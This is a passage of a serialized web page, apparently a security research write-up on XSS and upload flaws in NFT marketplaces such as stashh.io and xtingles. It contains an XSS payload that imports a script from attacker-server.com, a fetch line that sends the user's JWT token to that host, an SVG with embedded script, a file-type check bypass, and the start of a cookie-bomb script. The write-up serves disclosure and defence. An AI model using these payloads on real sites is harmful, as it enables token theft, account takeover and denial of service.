},{"style":35464},[36442],{"type":30,"value":35620},{"type":24,"tag":930,"props":36444,"children":36445},{"style":937},[36446],{"type":30,"value":11476},{"type":24,"tag":930,"props":36448,"children":36449},{"style":1023},[36450],{"type":30,"value":35629},{"type":24,"tag":930,"props":36452,"children":36453},{"style":1158},[36454],{"type":30,"value":1161},{"type":24,"tag":930,"props":36456,"children":36457},{"style":1270},[36458],{"type":30,"value":35638},{"type":24,"tag":930,"props":36460,"children":36461},{"style":1023},[36462],{"type":30,"value":35643},{"type":24,"tag":930,"props":36464,"children":36465},{"style":1158},[36466],{"type":30,"value":1161},{"type":24,"tag":930,"props":36468,"children":36469},{"style":1270},[36470],{"type":30,"value":35652},{"type":24,"tag":930,"props":36472,"children":36473},{"style":1023},[36474],{"type":30,"value":35544},{"type":24,"tag":930,"props":36476,"children":36477},{"style":1158},[36478],{"type":30,"value":1161},{"type":24,"tag":930,"props":36480,"children":36481},{"style":1270},[36482],{"type":30,"value":35665},{"type":24,"tag":930,"props":36484,"children":36485},{"style":35464},[36486],{"type":30,"value":9105},{"type":24,"tag":930,"props":36488,"children":36489},{"class":932,"line":1075},[36490,36494,36498,36502,36506,36510,36514,36518,36522,36526,36530,36534,36539,36543,36548,36552,36557,36561,36566,36571,36575,36579,36584,36589,36594,36599,36604,36609,36613,36618,36622,36626,36631,36635,36640,36645,36650,36654,36658,36662,36667,36671],{"type":24,"tag":930,"props":36491,"children":36492},{"style":35464},[36493],{"type":30,"value":35677},{"type":24,"tag":930,"props":36495,"children":36496},{"style":937},[36497],{"type":30,"value":11476},{"type":24,"tag":930,"props":36499,"children":36500},{"style":1023},[36501],{"type":30,"value":35629},{"type":24,"tag":930,"props":36503,"children":36504},{"style":1158},[36505],{"type":30,"value":1161},{"type":24,"tag":930,"props":36507,"children":36508},{"style":1270},[36509],{"type":30,"value":35694},{"type":24,"tag":930,"props":36511,"children":36512},{"style":1023},[36513],{"type":30,"value":35643},{"type":24,"tag":930,"props":36515,"children":36516},{"style":1158},[36517],{"type":30,"value":1161},{"type":24,"tag":930,"props":36519,"children":36520},{"style":1270},[36521],{"type":30,"value":35707},{"type":24,"tag":930,"props":36523,"children":36524},{"style":1023},[36525],{"type":30,"value":35599},{"type":24,"tag":930,"props":36527,"children":36528},{"style":1158},[36529],{"type":30,"value":1161},{"type":24,"tag":930,"props":36531,"children":36532},{"style":1270},[36533],{"type":30,"value":23163},{"type":24,"tag":930,"props":36535,"children":36536},{"style":937},[36537],{"type":30,"value":36538},"{"",{"type":24,"tag":930,"props":36540,"children":36541},{"style":1270},[36542],{"type":30,"value":1713},{"type":24,"tag":930,"props":36544,"children":36545},{"style":937},[36546],{"type":30,"value":36547},"":"<",{"type":24,"tag":930,"props":36549,"children":36550},{"style":1270},[36551],{"type":30,"value":140},{"type":24,"tag":930,"props":36553,"children":36554},{"style":937},[36555],{"type":30,"value":36556},"/",{"type":24,"tag":930,"props":36558,"children":36559},{"style":1270},[36560],{"type":30,"value":35757},{"type":24,"tag":930,"props":36562,"children":36563},{"style":937},[36564],{"type":30,"value":36565},"=",{"type":24,"tag":930,"props":36567,"children":36568},{"style":1270},[36569],{"type":30,"value":36570},"x onerror",{"type":24,"tag":930,"props":36572,"children":36573},{"style":937},[36574],{"type":30,"value":36565},{"type":24,"tag":930,"props":36576,"children":36577},{"style":1270},[36578],{"type":30,"value":22586},{"type":24,"tag":930,"props":36580,"children":36581},{"style":937},[36582],{"type":30,"value":36583},"(`",{"type":24,"tag":930,"props":36585,"children":36586},{"style":1270},[36587],{"type":30,"value":36588},"https",{"type":24,"tag":930,"props":36590,"children":36591},{"style":937},[36592],{"type":30,"value":36593},"://",{"type":24,"tag":930,"props":36595,"children":36596},{"style":1270},[36597],{"type":30,"value":36598},"attacker-server",{"type":24,"tag":930,"props":36600,"children":36601},{"style":937},[36602],{"type":30,"value":36603},".",{"type":24,"tag":930,"props":36605,"children":36606},{"style":1270},[36607],{"type":30,"value":36608},"com",{"type":24,"tag":930,"props":36610,"children":36611},{"style":937},[36612],{"type":30,"value":36556},{"type":24,"tag":930,"props":36614,"children":36615},{"style":1270},[36616],{"type":30,"value":36617},"leak",{"type":24,"tag":930,"props":36619,"children":36620},{"style":937},[36621],{"type":30,"value":36603},{"type":24,"tag":930,"props":36623,"children":36624},{"style":1270},[36625],{"type":30,"value":34457},{"type":24,"tag":930,"props":36627,"children":36628},{"style":937},[36629],{"type":30,"value":36630},"`)>","",{"type":24,"tag":930,"props":36632,"children":36633},{"style":1270},[36634],{"type":30,"value":35815},{"type":24,"tag":930,"props":36636,"children":36637},{"style":937},[36638],{"type":30,"value":36639},"":"",{"type":24,"tag":930,"props":36641,"children":36642},{"style":1270},[36643],{"type":30,"value":36644},"profile-assets",{"type":24,"tag":930,"props":36646,"children":36647},{"style":937},[36648],{"type":30,"value":36649},"","",{"type":24,"tag":930,"props":36651,"children":36652},{"style":1270},[36653],{"type":30,"value":35844},{"type":24,"tag":930,"props":36655,"children":36656},{"style":937},[36657],{"type":30,"value":36639},{"type":24,"tag":930,"props":36659,"children":36660},{"style":1270},[36661],{"type":30,"value":35853},{"type":24,"tag":930,"props":36663,"children":36664},{"style":937},[36665],{"type":30,"value":36666},""}",{"type":24,"tag":930,"props":36668,"children":36669},{"style":1270},[36670],{"type":30,"value":23163},{"type":24,"tag":930,"props":36672,"children":36673},{"style":35464},[36674],{"type":30,"value":35867},{"type":24,"tag":930,"props":36676,"children":36677},{"class":932,"line":1122},[36678,36682,36686,36690,36694,36698,36702,36706,36710],{"type":24,"tag":930,"props":36679,"children":36680},{"style":35464},[36681],{"type":30,"value":35677},{"type":24,"tag":930,"props":36683,"children":36684},{"style":937},[36685],{"type":30,"value":11476},{"type":24,"tag":930,"props":36687,"children":36688},{"style":1023},[36689],{"type":30,"value":35629},{"type":24,"tag":930,"props":36691,"children":36692},{"style":1158},[36693],{"type":30,"value":1161},{"type":24,"tag":930,"props":36695,"children":36696},{"style":1270},[36697],{"type":30,"value":35891},{"type":24,"tag":930,"props":36699,"children":36700},{"style":1023},[36701],{"type":30,"value":35599},{"type":24,"tag":930,"props":36703,"children":36704},{"style":1158},[36705],{"type":30,"value":1161},{"type":24,"tag":930,"props":36707,"children":36708},{"style":1270},[36709],{"type":30,"value":35904},{"type":24,"tag":930,"props":36711,"children":36712},{"style":35464},[36713],{"type":30,"value":35867},{"type":24,"tag":930,"props":36715,"children":36716},{"class":932,"line":1131},[36717,36721,36725],{"type":24,"tag":930,"props":36718,"children":36719},{"style":35464},[36720],{"type":30,"value":35916},{"type":24,"tag":930,"props":36722,"children":36723},{"style":937},[36724],{"type":30,"value":35539},{"type":24,"tag":930,"props":36726,"children":36727},{"style":35464},[36728],{"type":30,"value":9105},{"type":24,"tag":930,"props":36730,"children":36731},{"class":932,"line":1144},[36732,36736,36740],{"type":24,"tag":930,"props":36733,"children":36734},{"style":35464},[36735],{"type":30,"value":35932},{"type":24,"tag":930,"props":36737,"children":36738},{"style":937},[36739],{"type":30,"value":35488},{"type":24,"tag":930,"props":36741,"children":36742},{"style":35464},[36743],{"type":30,"value":9105},{"type":24,"tag":930,"props":36745,"children":36746},{"class":932,"line":1169},[36747],{"type":24,"tag":930,"props":36748,"children":36749},{"emptyLinePlaceholder":16},[36750],{"type":30,"value":2412},{"type":24,"tag":930,"props":36752,"children":36753},{"class":932,"line":1191},[36754,36758,36762],{"type":24,"tag":930,"props":36755,"children":36756},{"style":35464},[36757],{"type":30,"value":35483},{"type":24,"tag":930,"props":36759,"children":36760},{"style":937},[36761],{"type":30,"value":35504},{"type":24,"tag":930,"props":36763,"children":36764},{"style":35464},[36765],{"type":30,"value":9105},{"type":24,"tag":930,"props":36767,"children":36768},{"class":932,"line":1223},[36769],{"type":24,"tag":930,"props":36770,"children":36771},{"emptyLinePlaceholder":16},[36772],{"type":30,"value":2412},{"type":24,"tag":930,"props":36774,"children":36775},{"class":932,"line":1281},[36776,36780],{"type":24,"tag":930,"props":36777,"children":36778},{"style":959},[36779],{"type":30,"value":35977},{"type":24,"tag":930,"props":36781,"children":36782},{"style":937},[36783],{"type":30,"value":13987},{"type":24,"tag":930,"props":36785,"children":36786},{"class":932,"line":1313},[36787,36791,36795,36799,36803,36807,36811,36815,36819,36823,36827,36831],{"type":24,"tag":930,"props":36788,"children":36789},{"style":1023},[36790],{"type":30,"value":35989},{"type":24,"tag":930,"props":36792,"children":36793},{"style":1023},[36794],{"type":30,"value":35994},{"type":24,"tag":930,"props":36796,"children":36797},{"style":1158},[36798],{"type":30,"value":35999},{"type":24,"tag":930,"props":36800,"children":36801},{"style":1079},[36802],{"type":30,"value":36004},{"type":24,"tag":930,"props":36804,"children":36805},{"style":1158},[36806],{"type":30,"value":1087},{"type":24,"tag":930,"props":36808,"children":36809},{"style":1079},[36810],{"type":30,"value":36004},{"type":24,"tag":930,"props":36812,"children":36813},{"style":1002},[36814],{"type":30,"value":36017},{"type":24,"tag":930,"props":36816,"children":36817},{"style":1158},[36818],{"type":30,"value":1010},{"type":24,"tag":930,"props":36820,"children":36821},{"style":1270},[36822],{"type":30,"value":36026},{"type":24,"tag":930,"props":36824,"children":36825},{"style":1158},[36826],{"type":30,"value":36031},{"type":24,"tag":930,"props":36828,"children":36829},{"style":1002},[36830],{"type":30,"value":36036},{"type":24,"tag":930,"props":36832,"children":36833},{"style":1158},[36834],{"type":30,"value":10846},{"type":24,"tag":930,"props":36836,"children":36837},{"class":932,"line":1335},[36838],{"type":24,"tag":930,"props":36839,"children":36840},{"emptyLinePlaceholder":16},[36841],{"type":30,"value":2412},{"type":24,"tag":930,"props":36843,"children":36844},{"class":932,"line":1376},[36845,36849,36853,36857,36861,36865,36869,36873,36877,36881,36885,36889,36893],{"type":24,"tag":930,"props":36846,"children":36847},{"style":1023},[36848],{"type":30,"value":6186},{"type":24,"tag":930,"props":36850,"children":36851},{"style":1023},[36852],{"type":30,"value":36059},{"type":24,"tag":930,"props":36854,"children":36855},{"style":1158},[36856],{"type":30,"value":35999},{"type":24,"tag":930,"props":36858,"children":36859},{"style":937},[36860],{"type":30,"value":18226},{"type":24,"tag":930,"props":36862,"children":36863},{"style":1002},[36864],{"type":30,"value":36072},{"type":24,"tag":930,"props":36866,"children":36867},{"style":1158},[36868],{"type":30,"value":36077},{"type":24,"tag":930,"props":36870,"children":36871},{"style":1023},[36872],{"type":30,"value":36036},{"type":24,"tag":930,"props":36874,"children":36875},{"style":1158},[36876],{"type":30,"value":26162},{"type":24,"tag":930,"props":36878,"children":36879},{"style":1270},[36880],{"type":30,"value":36090},{"type":24,"tag":930,"props":36882,"children":36883},{"style":1158},[36884],{"type":30,"value":36095},{"type":24,"tag":930,"props":36886,"children":36887},{"style":1023},[36888],{"type":30,"value":36100},{"type":24,"tag":930,"props":36890,"children":36891},{"style":1270},[36892],{"type":30,"value":36105},{"type":24,"tag":930,"props":36894,"children":36895},{"style":1158},[36896],{"type":30,"value":36110},{"type":24,"tag":930,"props":36898,"children":36899},{"class":932,"line":1418},[36900,36904,36908,36912,36916,36920],{"type":24,"tag":930,"props":36901,"children":36902},{"style":1023},[36903],{"type":30,"value":35989},{"type":24,"tag":930,"props":36905,"children":36906},{"style":1023},[36907],{"type":30,"value":36122},{"type":24,"tag":930,"props":36909,"children":36910},{"style":1158},[36911],{"type":30,"value":35999},{"type":24,"tag":930,"props":36913,"children":36914},{"style":937},[36915],{"type":30,"value":18226},{"type":24,"tag":930,"props":36917,"children":36918},{"style":1002},[36919],{"type":30,"value":36135},{"type":24,"tag":930,"props":36921,"children":36922},{"style":1158},[36923],{"type":30,"value":1310},{"type":24,"tag":930,"props":36925,"children":36926},{"class":932,"line":1438},[36927,36931,36935,36939,36943,36947,36951,36955],{"type":24,"tag":930,"props":36928,"children":36929},{"style":1023},[36930],{"type":30,"value":36147},{"type":24,"tag":930,"props":36932,"children":36933},{"style":1158},[36934],{"type":30,"value":436},{"type":24,"tag":930,"props":36936,"children":36937},{"style":1023},[36938],{"type":30,"value":36156},{"type":24,"tag":930,"props":36940,"children":36941},{"style":1158},[36942],{"type":30,"value":436},{"type":24,"tag":930,"props":36944,"children":36945},{"style":1002},[36946],{"type":30,"value":3184},{"type":24,"tag":930,"props":36948,"children":36949},{"style":1158},[36950],{"type":30,"value":1010},{"type":24,"tag":930,"props":36952,"children":36953},{"style":1023},[36954],{"type":30,"value":36173},{"type":24,"tag":930,"props":36956,"children":36957},{"style":1158},[36958],{"type":30,"value":1278},{"type":24,"tag":930,"props":36960,"children":36961},{"class":932,"line":1479},[36962],{"type":24,"tag":930,"props":36963,"children":36964},{"emptyLinePlaceholder":16},[36965],{"type":30,"value":2412},{"type":24,"tag":930,"props":36967,"children":36968},{"class":932,"line":1506},[36969,36973,36977,36981,36985,36989,36993,36997],{"type":24,"tag":930,"props":36970,"children":36971},{"style":1023},[36972],{"type":30,"value":36192},{"type":24,"tag":930,"props":36974,"children":36975},{"style":1158},[36976],{"type":30,"value":436},{"type":24,"tag":930,"props":36978,"children":36979},{"style":1023},[36980],{"type":30,"value":36201},{"type":24,"tag":930,"props":36982,"children":36983},{"style":1158},[36984],{"type":30,"value":35999},{"type":24,"tag":930,"props":36986,"children":36987},{"style":1023},[36988],{"type":30,"value":36210},{"type":24,"tag":930,"props":36990,"children":36991},{"style":1158},[36992],{"type":30,"value":436},{"type":24,"tag":930,"props":36994,"children":36995},{"style":1023},[36996],{"type":30,"value":36201},{"type":24,"tag":930,"props":36998,"children":36999},{"style":1158},[37000],{"type":30,"value":5539},{"type":24,"tag":930,"props":37002,"children":37003},{"class":932,"line":1525},[37004],{"type":24,"tag":930,"props":37005,"children":37006},{"emptyLinePlaceholder":16},[37007],{"type":30,"value":2412},{"type":24,"tag":930,"props":37009,"children":37010},{"class":932,"line":1569},[37011,37016,37020,37025],{"type":24,"tag":930,"props":37012,"children":37013},{"style":1023},[37014],{"type":30,"value":37015},"        form123",{"type":24,"tag":930,"props":37017,"children":37018},{"style":1158},[37019],{"type":30,"value":436},{"type":24,"tag":930,"props":37021,"children":37022},{"style":1002},[37023],{"type":30,"value":37024},"submit",{"type":24,"tag":930,"props":37026,"children":37027},{"style":1158},[37028],{"type":30,"value":10846},{"type":24,"tag":930,"props":37030,"children":37031},{"class":932,"line":1592},[37032,37036],{"type":24,"tag":930,"props":37033,"children":37034},{"style":937},[37035],{"type":30,"value":36230},{"type":24,"tag":930,"props":37037,"children":37038},{"style":959},[37039],{"type":30,"value":36235},{"type":24,"tag":930,"props":37041,"children":37042},{"class":932,"line":1610},[37043],{"type":24,"tag":930,"props":37044,"children":37045},{"emptyLinePlaceholder":16},[37046],{"type":30,"value":2412},{"type":24,"tag":930,"props":37048,"children":37049},{"class":932,"line":1628},[37050,37054,37058],{"type":24,"tag":930,"props":37051,"children":37052},{"style":35464},[37053],{"type":30,"value":35932},{"type":24,"tag":930,"props":37055,"children":37056},{"style":937},[37057],{"type":30,"value":35504},{"type":24,"tag":930,"props":37059,"children":37060},{"style":35464},[37061],{"type":30,"value":9105},{"type":24,"tag":930,"props":37063,"children":37064},{"class":932,"line":1637},[37065,37069,37073],{"type":24,"tag":930,"props":37066,"children":37067},{"style":35464},[37068],{"type":30,"value":35518},{"type":24,"tag":930,"props":37070,"children":37071},{"style":937},[37072],{"type":30,"value":35471},{"type":24,"tag":930,"props":37074,"children":37075},{"style":35464},[37076],{"type":30,"value":9105},{"type":24,"tag":33,"props":37078,"children":37079},{},[37080],{"type":30,"value":37081},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":920,"props":37083,"children":37087},{"className":37084,"code":37085,"language":37086,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[37088],{"type":24,"tag":156,"props":37089,"children":37090},{"__ignoreMap":7},[37091,37098,37119,37140,37157],{"type":24,"tag":930,"props":37092,"children":37093},{"class":932,"line":933},[37094],{"type":24,"tag":930,"props":37095,"children":37096},{"style":959},[37097],{"type":30,"value":13987},{"type":24,"tag":930,"props":37099,"children":37100},{"class":932,"line":984},[37101,37106,37110,37115],{"type":24,"tag":930,"props":37102,"children":37103},{"style":1023},[37104],{"type":30,"value":37105},"  \"address\"",{"type":24,"tag":930,"props":37107,"children":37108},{"style":959},[37109],{"type":30,"value":18434},{"type":24,"tag":930,"props":37111,"children":37112},{"style":1270},[37113],{"type":30,"value":37114},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":930,"props":37116,"children":37117},{"style":959},[37118],{"type":30,"value":2832},{"type":24,"tag":930,"props":37120,"children":37121},{"class":932,"line":993},[37122,37127,37131,37136],{"type":24,"tag":930,"props":37123,"children":37124},{"style":1023},[37125],{"type":30,"value":37126},"  \"to\"",{"type":24,"tag":930,"props":37128,"children":37129},{"style":959},[37130],{"type":30,"value":18434},{"type":24,"tag":930,"props":37132,"children":37133},{"style":1270},[37134],{"type":30,"value":37135},"\"profile-assets\"",{"type":24,"tag":930,"props":37137,"children":37138},{"style":959},[37139],{"type":30,"value":2832},{"type":24,"tag":930,"props":37141,"children":37142},{"class":932,"line":1057},[37143,37148,37152],{"type":24,"tag":930,"props":37144,"children":37145},{"style":1023},[37146],{"type":30,"value":37147},"  \"type\"",{"type":24,"tag":930,"props":37149,"children":37150},{"style":959},[37151],{"type":30,"value":18434},{"type":24,"tag":930,"props":37153,"children":37154},{"style":1270},[37155],{"type":30,"value":37156},"\"icon\"\n",{"type":24,"tag":930,"props":37158,"children":37159},{"class":932,"line":1066},[37160],{"type":24,"tag":930,"props":37161,"children":37162},{"style":959},[37163],{"type":30,"value":2528},{"type":24,"tag":33,"props":37165,"children":37166},{},[37167],{"type":30,"value":37168},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":920,"props":37170,"children":37172},{"className":34455,"code":37171,"language":34457,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[37173],{"type":24,"tag":156,"props":37174,"children":37175},{"__ignoreMap":7},[37176],{"type":24,"tag":930,"props":37177,"children":37178},{"class":932,"line":933},[37179,37184,37188,37193,37198,37203,37207,37212,37216,37221,37225,37230,37234],{"type":24,"tag":930,"props":37180,"children":37181},{"style":1002},[37182],{"type":30,"value":37183},"fetch",{"type":24,"tag":930,"props":37185,"children":37186},{"style":959},[37187],{"type":30,"value":1010},{"type":24,"tag":930,"props":37189,"children":37190},{"style":1270},[37191],{"type":30,"value":37192},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":930,"props":37194,"children":37195},{"style":937},[37196],{"type":30,"value":37197},"${",{"type":24,"tag":930,"props":37199,"children":37200},{"style":1023},[37201],{"type":30,"value":37202},"localStorage",{"type":24,"tag":930,"props":37204,"children":37205},{"style":1158},[37206],{"type":30,"value":436},{"type":24,"tag":930,"props":37208,"children":37209},{"style":1002},[37210],{"type":30,"value":37211},"getItem",{"type":24,"tag":930,"props":37213,"children":37214},{"style":1158},[37215],{"type":30,"value":1010},{"type":24,"tag":930,"props":37217,"children":37218},{"style":1270},[37219],{"type":30,"value":37220},"'token'",{"type":24,"tag":930,"props":37222,"children":37223},{"style":1158},[37224],{"type":30,"value":6249},{"type":24,"tag":930,"props":37226,"children":37227},{"style":937},[37228],{"type":30,"value":37229},"}",{"type":24,"tag":930,"props":37231,"children":37232},{"style":1270},[37233],{"type":30,"value":13489},{"type":24,"tag":930,"props":37235,"children":37236},{"style":959},[37237],{"type":30,"value":1278},{"type":24,"tag":151,"props":37239,"children":37241},{"id":37240},"svgs",[37242],{"type":30,"value":37243},"SVGs",{"type":24,"tag":33,"props":37245,"children":37246},{},[37247],{"type":30,"value":37248},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":33,"props":37250,"children":37251},{},[37252],{"type":30,"value":37253},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":920,"props":37255,"children":37257},{"className":34455,"code":37256,"language":34457,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[37258],{"type":24,"tag":156,"props":37259,"children":37260},{"__ignoreMap":7},[37261,37307,37344,37351,37381,37413,37441,37449,37465],{"type":24,"tag":930,"props":37262,"children":37263},{"class":932,"line":933},[37264,37269,37274,37279,37283,37288,37293,37297,37302],{"type":24,"tag":930,"props":37265,"children":37266},{"style":1158},[37267],{"type":30,"value":37268},"\u003C?",{"type":24,"tag":930,"props":37270,"children":37271},{"style":1023},[37272],{"type":30,"value":37273},"xml",{"type":24,"tag":930,"props":37275,"children":37276},{"style":1023},[37277],{"type":30,"value":37278}," version",{"type":24,"tag":930,"props":37280,"children":37281},{"style":1158},[37282],{"type":30,"value":1161},{"type":24,"tag":930,"props":37284,"children":37285},{"style":1270},[37286],{"type":30,"value":37287},"\"1.0\"",{"type":24,"tag":930,"props":37289,"children":37290},{"style":1023},[37291],{"type":30,"value":37292}," encoding",{"type":24,"tag":930,"props":37294,"children":37295},{"style":1158},[37296],{"type":30,"value":1161},{"type":24,"tag":930,"props":37298,"children":37299},{"style":1270},[37300],{"type":30,"value":37301},"\"UTF-8\"",{"type":24,"tag":930,"props":37303,"children":37304},{"style":1158},[37305],{"type":30,"value":37306},"?>\n",{"type":24,"tag":930,"props":37308,"children":37309},{"class":932,"line":984},[37310,37315,37320,37325,37330,37335,37340],{"type":24,"tag":930,"props":37311,"children":37312},{"style":1158},[37313],{"type":30,"value":37314},"\u003C!",{"type":24,"tag":930,"props":37316,"children":37317},{"style":1023},[37318],{"type":30,"value":37319},"DOCTYPE",{"type":24,"tag":930,"props":37321,"children":37322},{"style":1023},[37323],{"type":30,"value":37324}," svg",{"type":24,"tag":930,"props":37326,"children":37327},{"style":1023},[37328],{"type":30,"value":37329}," PUBLIC",{"type":24,"tag":930,"props":37331,"children":37332},{"style":1270},[37333],{"type":30,"value":37334}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":930,"props":37336,"children":37337},{"style":1270},[37338],{"type":30,"value":37339}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":930,"props":37341,"children":37342},{"style":1158},[37343],{"type":30,"value":9105},{"type":24,"tag":930,"props":37345,"children":37346},{"class":932,"line":993},[37347],{"type":24,"tag":930,"props":37348,"children":37349},{"emptyLinePlaceholder":16},[37350],{"type":30,"value":2412},{"type":24,"tag":930,"props":37352,"children":37353},{"class":932,"line":1057},[37354,37358,37363,37368,37372,37377],{"type":24,"tag":930,"props":37355,"children":37356},{"style":35464},[37357],{"type":30,"value":11828},{"type":24,"tag":930,"props":37359,"children":37360},{"style":937},[37361],{"type":30,"value":37362},"svg",{"type":24,"tag":930,"props":37364,"children":37365},{"style":1023},[37366],{"type":30,"value":37367}," xmlns",{"type":24,"tag":930,"props":37369,"children":37370},{"style":1158},[37371],{"type":30,"value":1161},{"type":24,"tag":930,"props":37373,"children":37374},{"style":1270},[37375],{"type":30,"value":37376},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":930,"props":37378,"children":37379},{"style":35464},[37380],{"type":30,"value":9105},{"type":24,"tag":930,"props":37382,"children":37383},{"class":932,"line":1066},[37384,37388,37393,37397,37401,37405,37409],{"type":24,"tag":930,"props":37385,"children":37386},{"style":35464},[37387],{"type":30,"value":35483},{"type":24,"tag":930,"props":37389,"children":37390},{"style":937},[37391],{"type":30,"value":37392},"title",{"type":24,"tag":930,"props":37394,"children":37395},{"style":35464},[37396],{"type":30,"value":2261},{"type":24,"tag":930,"props":37398,"children":37399},{"style":959},[37400],{"type":30,"value":34329},{"type":24,"tag":930,"props":37402,"children":37403},{"style":35464},[37404],{"type":30,"value":35518},{"type":24,"tag":930,"props":37406,"children":37407},{"style":937},[37408],{"type":30,"value":37392},{"type":24,"tag":930,"props":37410,"children":37411},{"style":35464},[37412],{"type":30,"value":9105},{"type":24,"tag":930,"props":37414,"children":37415},{"class":932,"line":1075},[37416,37420,37424,37428,37432,37437],{"type":24,"tag":930,"props":37417,"children":37418},{"style":35464},[37419],{"type":30,"value":35483},{"type":24,"tag":930,"props":37421,"children":37422},{"style":937},[37423],{"type":30,"value":35504},{"type":24,"tag":930,"props":37425,"children":37426},{"style":1023},[37427],{"type":30,"value":35629},{"type":24,"tag":930,"props":37429,"children":37430},{"style":1158},[37431],{"type":30,"value":1161},{"type":24,"tag":930,"props":37433,"children":37434},{"style":1270},[37435],{"type":30,"value":37436},"\"text/javascript\"",{"type":24,"tag":930,"props":37438,"children":37439},{"style":35464},[37440],{"type":30,"value":9105},{"type":24,"tag":930,"props":37442,"children":37443},{"class":932,"line":1122},[37444],{"type":24,"tag":930,"props":37445,"children":37446},{"style":959},[37447],{"type":30,"value":37448},"   alert(document.domain);\n",{"type":24,"tag":930,"props":37450,"children":37451},{"class":932,"line":1131},[37452,37457,37461],{"type":24,"tag":930,"props":37453,"children":37454},{"style":35464},[37455],{"type":30,"value":37456},"   \u003C/",{"type":24,"tag":930,"props":37458,"children":37459},{"style":937},[37460],{"type":30,"value":35504},{"type":24,"tag":930,"props":37462,"children":37463},{"style":35464},[37464],{"type":30,"value":9105},{"type":24,"tag":930,"props":37466,"children":37467},{"class":932,"line":1144},[37468,37473,37477],{"type":24,"tag":930,"props":37469,"children":37470},{"style":35464},[37471],{"type":30,"value":37472}," \u003C/",{"type":24,"tag":930,"props":37474,"children":37475},{"style":937},[37476],{"type":30,"value":37362},{"type":24,"tag":930,"props":37478,"children":37479},{"style":35464},[37480],{"type":30,"value":9105},{"type":24,"tag":33,"props":37482,"children":37483},{},[37484,37486,37493],{"type":30,"value":37485},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":37,"props":37487,"children":37490},{"href":37488,"rel":37489},"https://xtingles.com/",[41],[37491],{"type":30,"value":37492},"xtingles Marketplace",{"type":30,"value":436},{"type":24,"tag":33,"props":37495,"children":37496},{},[37497],{"type":30,"value":37498},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":33,"props":37500,"children":37501},{},[37502],{"type":30,"value":37503},"Below, we show you how we did it.",{"type":24,"tag":33,"props":37505,"children":37506},{},[37507],{"type":30,"value":37508},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":33,"props":37510,"children":37511},{},[37512],{"type":24,"tag":140,"props":37513,"children":37515},{"alt":7,"src":37514},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":33,"props":37517,"children":37518},{},[37519],{"type":30,"value":37520},"After changing the extension inside the file name.",{"type":24,"tag":33,"props":37522,"children":37523},{},[37524],{"type":24,"tag":140,"props":37525,"children":37527},{"alt":7,"src":37526},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":151,"props":37529,"children":37531},{"id":37530},"svgs-return",[37532],{"type":30,"value":37533},"SVGs Return",{"type":24,"tag":33,"props":37535,"children":37536},{},[37537],{"type":30,"value":37538},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":33,"props":37540,"children":37541},{},[37542],{"type":30,"value":37543},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":33,"props":37545,"children":37546},{},[37547],{"type":30,"value":37548},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":920,"props":37550,"children":37554},{"className":37551,"code":37552,"language":37553,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n 